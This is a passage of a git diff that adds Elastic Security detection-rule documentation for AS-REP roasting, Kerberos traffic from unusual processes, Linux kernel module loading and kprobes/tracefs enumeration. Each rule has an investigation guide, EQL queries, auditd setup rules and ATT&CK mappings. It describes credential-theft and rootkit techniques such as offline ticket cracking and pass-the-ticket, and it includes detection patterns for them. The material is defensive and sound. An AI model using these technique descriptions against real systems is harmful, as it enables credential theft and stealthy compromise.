to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password. Microsoft's security monitoring https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738[recommendations] state that `'Don't Require Preauth' – Enabled` should not be enabled for user accounts because it weakens security for the account’s Kerberos authentication. + +AS-REP roasting is an attack against Kerberos for user accounts that do not require pre-authentication, which means that if the target user has pre-authentication disabled, an attacker can request authentication data for it and get a TGT that can be brute-forced offline, similarly to Kerberoasting. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Determine if the target account is sensitive or privileged. +- Inspect the account activities for suspicious or abnormal behaviors in the alert timeframe. + + +*False positive analysis* + + +- Disabling pre-authentication is a bad security practice and should not be allowed in the domain. The security team should map and monitor any potential benign true positives (B-TPs), especially if the target account is privileged. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Reset the target account's password if there is any risk of TGTs having been retrieved. +- Re-enable the preauthentication option or disable the target account. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The 'Audit User Account Management' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Account Management > +Audit User Account Management (Success,Failure) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "4738" and + winlog.event_data.NewUACList == "USER_DONT_REQUIRE_PREAUTH" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: AS-REP Roasting +** ID: T1558.004 +** Reference URL: https://attack.mitre.org/techniques/T1558/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-traffic-from-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-traffic-from-unusual-process.asciidoc new file mode 100644 index 0000000000..0e17773c82 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kerberos-traffic-from-unusual-process.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-kerberos-traffic-from-unusual-process]] +=== Kerberos Traffic from Unusual Process + +Identifies network connections to the standard Kerberos port from an unusual process. On Windows, the only process that normally performs Kerberos traffic from a domain joined host is lsass.exe. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kerberos Traffic from Unusual Process* + + +Kerberos is the default authentication protocol in Active Directory, designed to provide strong authentication for client/server applications by using secret-key cryptography. + +Domain-joined hosts usually perform Kerberos traffic using the `lsass.exe` process. This rule detects the occurrence of traffic on the Kerberos port (88) by processes other than `lsass.exe` to detect the unusual request and usage of Kerberos tickets. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check if the Destination IP is related to a Domain Controller. +- Review event ID 4769 for suspicious ticket requests. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This rule uses a Kerberos-related port but does not identify the protocol used on that port. HTTP traffic on a non-standard port or destination IP address unrelated to Domain controllers can create false positives. +- Exceptions can be added for noisy/frequent connections. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. + - Ticket requests can be used to investigate potentially compromised accounts. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and event.type == "start" and network.direction == "egress" and + destination.port == 88 and source.port >= 49152 and process.pid != 4 and destination.address : "*" and + not + ( + process.executable : ( + "\\device\\harddiskvolume?\\program files (x86)\\nmap\\nmap.exe", + "\\device\\harddiskvolume?\\program files (x86)\\nmap oem\\nmap.exe", + "\\device\\harddiskvolume?\\windows\\system32\\lsass.exe", + "?:\\Program Files\\Amazon Corretto\\jdk1*\\bin\\java.exe", + "?:\\Program Files\\BlackBerry\\UEM\\Proxy Server\\bin\\prunsrv.exe", + "?:\\Program Files\\BlackBerry\\UEM\\Core\\tomcat-core\\bin\\tomcat9.exe", + "?:\\Program Files\\DBeaver\\dbeaver.exe", + "?:\\Program Files\\Docker\\Docker\\resources\\com.docker.backend.exe", + "?:\\Program Files\\Docker\\Docker\\resources\\com.docker.vpnkit.exe", + "?:\\Program Files\\Docker\\Docker\\resources\\vpnkit.exe", + "?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Program Files\\Internet Explorer\\iexplore.exe", + "?:\\Program Files\\JetBrains\\PyCharm Community Edition*\\bin\\pycharm64.exe", + "?:\\Program Files\\Mozilla Firefox\\firefox.exe", + "?:\\Program Files\\Oracle\\VirtualBox\\VirtualBoxVM.exe", + "?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe", + "?:\\Program Files\\rapid7\\nexpose\\nse\\.DLLCACHE\\nseserv.exe", + "?:\\Program Files\\Silverfort\\Silverfort AD Adapter\\SilverfortServer.exe", + "?:\\Program Files\\Tenable\\Nessus\\nessusd.exe", + "?:\\Program Files\\VMware\\VMware View\\Server\\bin\\ws_TomcatService.exe", + "?:\\Program Files (x86)\\Advanced Port Scanner\\advanced_port_scanner.exe", + "?:\\Program Files (x86)\\DesktopCentral_Agent\\bin\\dcpatchscan.exe", + "?:\\Program Files (x86)\\GFI\\LanGuard 12 Agent\\lnsscomm.exe", + "?:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", + "?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "?:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe", + "?:\\Program Files (x86)\\Microsoft Silverlight\\sllauncher.exe", + "?:\\Program Files (x86)\\Nmap\\nmap.exe", + "?:\\Program Files (x86)\\Nmap OEM\\nmap.exe", + "?:\\Program Files (x86)\\nwps\\NetScanTools Pro\\NSTPRO.exe", + "?:\\Program Files (x86)\\SAP BusinessObjects\\tomcat\\bin\\tomcat9.exe", + "?:\\Program Files (x86)\\SuperScan\\scanner.exe", + "?:\\Program Files (x86)\\Zscaler\\ZSATunnel\\ZSATunnel.exe", + "?:\\Windows\\System32\\lsass.exe", + "?:\\Windows\\System32\\MicrosoftEdgeCP.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\SysWOW64\\vmnat.exe", + "?:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_*\\MicrosoftEdge.exe", + "System" + ) and process.code_signature.trusted == true + ) and + destination.address != "127.0.0.1" and destination.address != "::1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Ticket +** ID: T1550.003 +** Reference URL: https://attack.mitre.org/techniques/T1550/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-driver-load-by-non-root-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-driver-load-by-non-root-user.asciidoc new file mode 100644 index 0000000000..5bb771f21b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-driver-load-by-non-root-user.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-20-kernel-driver-load-by-non-root-user]] +=== Kernel Driver Load by non-root User + +Detects the loading of a Linux kernel module by a non-root user through system calls. Threat actors may leverage Linux kernel modules to load a rootkit on a system providing them with complete control and the ability to hide from security products. As other rules monitor for the addition of Linux kernel modules through system utilities or .ko files, this rule covers the gap that evasive rootkits leverage by monitoring for kernel module additions on the lowest level through auditd_manager. + +*Rule type*: eql + +*Rule indices*: + +* logs-auditd_manager.auditd-* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Driver Load by non-root User* + + +Kernel modules extend the functionality of the Linux kernel, allowing dynamic loading of drivers or features. Typically, only root users can load these modules due to their potential to alter system behavior. Adversaries may exploit this by loading malicious modules, such as rootkits, to gain control and evade detection. The detection rule identifies non-root users attempting to load modules, signaling potential unauthorized activity. + + +*Possible investigation steps* + + +- Review the alert details to identify the non-root user (user.id) involved in the kernel module loading attempt. +- Check the system logs and audit logs for any additional context around the time of the event, focusing on the specific system calls (init_module, finit_module) used. +- Investigate the source and legitimacy of the kernel module being loaded by examining the module's file path and associated metadata. +- Assess the user's recent activity and permissions to determine if there are any signs of privilege escalation or unauthorized access. +- Correlate this event with other security alerts or anomalies on the same host to identify potential patterns of malicious behavior. +- Verify the integrity and security posture of the affected system by running a comprehensive malware and rootkit scan. + + +*False positive analysis* + + +- Legitimate software or system utilities may occasionally load kernel modules as part of their normal operation. Identify these applications and verify their behavior to ensure they are not malicious. +- Development environments or testing scenarios might involve non-root users loading kernel modules for legitimate purposes. Consider creating exceptions for these specific users or processes after thorough validation. +- Some system management tools or scripts executed by non-root users might trigger this rule. Review these tools and, if deemed safe, add them to an exception list to prevent unnecessary alerts. +- In environments where non-root users are granted specific permissions to load kernel modules, ensure these permissions are documented and monitored. Adjust the rule to exclude these known and authorized activities. +- Regularly review and update the list of exceptions to ensure that only verified and non-threatening behaviors are excluded, maintaining the integrity of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the non-root user attempting to load the kernel module to halt any ongoing malicious activity. +- Conduct a thorough review of the loaded kernel modules on the affected system to identify and remove any unauthorized or malicious modules. +- Reset credentials and review permissions for the non-root user involved in the alert to prevent further unauthorized actions. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the scope of the compromise and identify any additional affected systems. +- Implement enhanced monitoring and logging for kernel module loading activities across all systems to detect similar threats in the future. +- Review and update security policies to ensure that only authorized users have the necessary permissions to load kernel modules, reducing the risk of unauthorized access. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Auditd Manager. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -- "-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules" + -- "-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules" + + +==== Rule query + + +[source, js] +---------------------------------- +driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and +auditd.data.syscall in ("init_module", "finit_module") and user.id != "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-driver-load.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-driver-load.asciidoc new file mode 100644 index 0000000000..951c7cbe2d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-driver-load.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-kernel-driver-load]] +=== Kernel Driver Load + +Detects the loading of a Linux kernel module through system calls. Threat actors may leverage Linux kernel modules to load a rootkit on a system providing them with complete control and the ability to hide from security products. As other rules monitor for the addition of Linux kernel modules through system utilities or .ko files, this rule covers the gap that evasive rootkits leverage by monitoring for kernel module additions on the lowest level through auditd_manager. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Driver Load* + + +Kernel modules extend the functionality of the Linux kernel, allowing dynamic loading of drivers and other components. Adversaries exploit this by loading malicious modules, or rootkits, to gain stealthy control over systems. The 'Kernel Driver Load' detection rule leverages auditd to monitor system calls like `init_module`, identifying unauthorized module loads indicative of potential rootkit activity, thus enhancing threat detection and system integrity. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host where the kernel module was loaded, focusing on the host.os.type field to confirm it is a Linux system. +- Examine the event.action field to verify that the action was indeed "loaded-kernel-module" and check the auditd.data.syscall field for the specific system call used, either "init_module" or "finit_module". +- Investigate the timeline of events on the affected host around the time of the alert to identify any suspicious activities or changes, such as new user accounts, unexpected network connections, or file modifications. +- Check the system logs and audit logs on the affected host for any additional context or anomalies that coincide with the module load event. +- Identify the source and legitimacy of the loaded kernel module by examining the module's file path, signature, and associated metadata, if available. +- Assess the potential impact and scope of the incident by determining if similar alerts have been triggered on other hosts within the environment, indicating a broader campaign or attack. + + +*False positive analysis* + + +- Legitimate kernel module updates or installations can trigger alerts. Regularly scheduled updates or installations by trusted administrators should be documented and excluded from monitoring to reduce noise. +- System utilities that load kernel modules as part of their normal operation may cause false positives. Identify these utilities and create exceptions for their expected behavior. +- Automated configuration management tools that deploy or update kernel modules can generate alerts. Ensure these tools are recognized and their activities are whitelisted. +- Development environments where kernel modules are frequently compiled and tested may lead to frequent alerts. Exclude specific development hosts or processes from monitoring to avoid unnecessary alerts. +- Security software that loads kernel modules for protection purposes might be flagged. Verify and exclude these modules if they are from trusted vendors. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Verify the legitimacy of the loaded kernel module by checking its source and integrity. If the module is unauthorized or suspicious, unload it using appropriate system commands. +- Conduct a thorough scan of the system using updated antivirus or anti-malware tools to identify and remove any additional malicious components or rootkits. +- Review and analyze system logs, especially those related to auditd, to identify any unauthorized access or changes made by the adversary. This can help in understanding the scope of the compromise. +- Restore the system from a known good backup if the integrity of the system is in question and if the malicious activity cannot be fully remediated. +- Implement stricter access controls and monitoring on kernel module loading activities to prevent unauthorized actions in the future. This may include restricting module loading to trusted users or processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. + +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` + +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. + +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules +-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules +``` + +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +driver where host.os.type == "linux" and event.action == "loaded-kernel-module" and +auditd.data.syscall in ("init_module", "finit_module") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc new file mode 100644 index 0000000000..510d2f7afa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-kernel-instrumentation-discovery-via-kprobes-and-tracefs.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-kernel-instrumentation-discovery-via-kprobes-and-tracefs]] +=== Kernel Instrumentation Discovery via kprobes and tracefs + +Detects common utilities accessing kprobes and tracing-related paths in debugfs/tracefs, which may indicate discovery of kernel instrumentation hooks. Adversaries can enumerate these locations to understand or prepare for eBPF, kprobe, or tracepoint-based activity. This behavior can also be benign during troubleshooting, performance analysis, or observability tooling validation. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Instrumentation Discovery via kprobes and tracefs* + + +This rule detects common Linux utilities and shells reading kprobes and tracing locations under debugfs/tracefs, signaling discovery of kernel instrumentation hooks. Attackers use this to understand which kprobe/tracepoint interfaces are available or already in use before deploying eBPF-based collection or stealthy monitoring. A typical pattern is a script that iterates tracing directories and reads kprobe and tracepoint listings to map callable probes and active tracing state. + + +*Possible investigation steps* + + +- Review the full command line and the specific tracefs/debugfs paths accessed to determine whether this was benign directory enumeration or targeted inspection of sensitive files like `available_filter_functions`, `kprobe_events`, `set_ftrace_filter`, or `trace_pipe`. +- Identify the initiating user and process tree, then search nearby activity for follow-on steps such as writing to `kprobe_events`/`uprobe_events`, enabling tracing events, or sustained reads from `trace_pipe`. +- Validate whether `debugfs`/`tracefs` are mounted and assess the host’s role and installed observability/performance tooling to quickly separate routine diagnostics from unexpected tracing access. +- Hunt for adjacent signals of kernel instrumentation setup or abuse, including use of eBPF tooling (`bpftool`, `bpftrace`, BCC), `perf`, suspicious `bpf()` syscall activity, or module loading around the same time window. +- Compare current tracing configuration and recent file modification activity under `/sys/kernel/debug/tracing` and `/sys/kernel/tracing` against baseline expectations to detect tampering or persistence. + + +*False positive analysis* + + +- A system administrator or automated diagnostic script may use basic utilities like `cat`, `grep`, or `find` to enumerate `/sys/kernel/debug/tracing` or `/sys/kernel/tracing` during kernel troubleshooting or performance triage to confirm tracefs/debugfs is mounted and to review available functions/events. +- Routine validation of tracing configuration after kernel upgrades or configuration changes can involve shells running `ls`, `stat`, or `readlink` over kprobe and tracing paths to verify current settings and permissions, even when no malicious instrumentation is intended. + + +*Response and remediation* + + +- Contain suspected abuse by isolating the host and immediately stopping the offending script/process tree that is enumerating `/sys/kernel/debug/kprobes/*` or `/sys/kernel/*tracing/*`, then preserve the shell history and the script/binary on disk for analysis. +- Eradicate kernel instrumentation changes by checking for and removing any attacker-added entries in `kprobe_events`/`uprobe_events`, disabling any enabled tracing knobs, and remounting or unmounting `debugfs`/`tracefs` if they are not required for operations. +- Recover to a known-good state by rebooting to clear transient tracing state, validating that `trace_pipe` is not being read continuously, and confirming that expected observability tooling (if any) still functions after tracing is reset. +- Escalate to incident response immediately if you observe writes to `kprobe_events`/`uprobe_events`, sustained reads from `trace_pipe`, or nearby execution of eBPF/performance tooling (e.g., `bpftool`, `bpftrace`, `perf`) by an unexpected user or from an unusual parent process. +- Harden to prevent recurrence by restricting access to `debugfs`/`tracefs` to administrators only, disabling unprivileged BPF where feasible, and enforcing MAC policies (SELinux/AppArmor) to deny non-approved processes from reading or writing tracing interfaces. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ( + "cat", "grep", "head", "tail", "ls", + "less", "more", + "awk", "sed", "cut", "tr", "xargs", "tee", + "find", "stat", "readlink", + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox" +) and +process.args like ("/sys/kernel/debug/kprobes/*", "/sys/kernel/debug/tracing/*", "/sys/kernel/tracing/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: 